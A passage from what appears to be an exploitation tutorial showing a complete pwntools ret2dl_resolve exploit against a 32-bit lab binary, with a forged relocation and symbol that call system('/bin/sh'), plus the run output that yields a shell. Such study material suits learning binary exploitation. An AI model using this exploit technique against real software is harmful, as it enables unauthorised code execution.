...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * from struct import * #context.log_level = 'debug' elf = ELF('./rop') # get section address addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] addr_relplt = elf.get_section_by_name('.rel.plt').header['sh_addr'] addr_plt = elf.get_section_by_name('.plt').header['sh_addr'] addr_bss = elf.get_section_by_name('.bss').header['sh_addr'] addr_plt_read = elf.plt['read'] addr_got_read = elf.got['read'] log.info('Section Headers') log.info('.dynsym : ' + hex(addr_dynsym)) log.info('.dynstr : ' + hex(addr_dynstr)) log.info('.rel.plt : ' + hex(addr_relplt)) log.info('.plt : ' + hex(addr_plt)) log.info('.bss : ' + hex(addr_bss)) log.info('read@plt : ' + hex(addr_plt_read)) log.info('read@got : ' + hex(addr_got_read)) addr_pop3 = 0x080484e9 addr_pop_ebp = 0x080484eb addr_leave_ret = 0x080483a8 stack_size = 0x300 base_stage = addr_bss + stack_size #read(0,base_stage,100) #jmp base_stage buf1 = 'A'* 62 buf1 += p32(addr_plt_read) buf1 += p32(addr_pop3) buf1 += p32(0) buf1 += p32(base_stage) buf1 += p32(100) buf1 += p32(addr_pop_ebp) buf1 += p32(base_stage) buf1 += p32(addr_leave_ret) addr_fake_reloc = base_stage + 20 addr_fake_sym = addr_fake_reloc + 8 addr_fake_symstr = addr_fake_sym +16 addr_fake_cmd = addr_fake_symstr +7 fake_reloc_offset = addr_fake_reloc - addr_relplt fake_r_info = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF #FAKE ELF32_R_SYM fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE fake_st_name = addr_fake_symstr - addr_dynstr log.info('') log.info('Fake Struct Information') log.info('fake_reloc_offset : ' + hex(fake_reloc_offset)) log.info('addr_fake_cmd : ' + hex(addr_fake_cmd)) log.info('addr_got_read : ' + hex(addr_got_read)) log.info('fake_r_info : ' + hex(fake_r_info)) log.info('fake_st_name : ' + hex(fake_st_name)) #_dl_runtime_resolve(struct link_map *l, fake_reloc_arg) buf2 = 'AAAA' buf2 += p32(addr_plt) buf2 += p32(fake_reloc_offset) buf2 += 'BBBB' #Argument of the function buf2 += p32(addr_fake_cmd) #Fake Elf32_Rel buf2 += p32(addr_got_read) buf2 += p32(fake_r_info) #Fake Elf32_Sym buf2 += p32(fake_st_name) buf2 += p32(0) buf2 += p32(0) buf2 += p32(0x12) #String "system" buf2 += 'system\x00' #String "/bin/sh" buf2 += '/bin/sh\x00' binary = ELF(elf.path) p = process(binary.path) p.recvn(10) p.send(buf1) p.send(buf2) p.interactive() |
Code Block |
---|
lazenca0x0@ubuntu:~/Exploit/dl_resolve$ python exploit.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/lazenca0x0/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/lazenca0x0/Exploit/dl_resolve/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Section Headers
[*] .dynsym : 0x80481cc
[*] .dynstr : 0x804822c
[*] .rel.plt : 0x80482b0
[*] .plt : 0x80482f0
[*] .bss : 0x804a020
[*] read@plt : 0x8048300
[*] read@got : 0x804a00c
[*]
[*] Fake Struct Information
[*] fake_reloc_offset : 0x2084
[*] addr_fake_cmd : 0x804a353
[*] addr_got_read : 0x804a00c
[*] fake_r_info : 0x21707
[*] fake_st_name : 0x2120
[+] Starting local process '/home/lazenca0x0/Exploit/dl_resolve/rop': pid 12887
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ |
References
- http://phrack.org/issues/58/4.html#article
- http://inaz2.hatenablog.com/entry/2014/07/15/023406
- http://rk700.github.io/2015/08/09/return-to-dl-resolve/
- https://gist.github.com/icchy/1b702fc56ec37844f711
- https://www.slideshare.net/AngelBoy1/re2dlresolve?ref=http://angelboy.logdown.com/posts/283218-return-to-dl-resolve
- https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
- https://www.da.vidbuchanan.co.uk/blog/0CTF-2018-babystack-ret2dlresolve.html
- http://www.inforsec.org/wp/?p=389
- https://www.usenix.org/sites/default/files/conference/protected-files/sec15_slides_difederico.pdf
- https://blog.csdn.net/conansonic/article/details/54634142
- http://inaz2.hatenablog.com/entry/2014/07/20/161106
...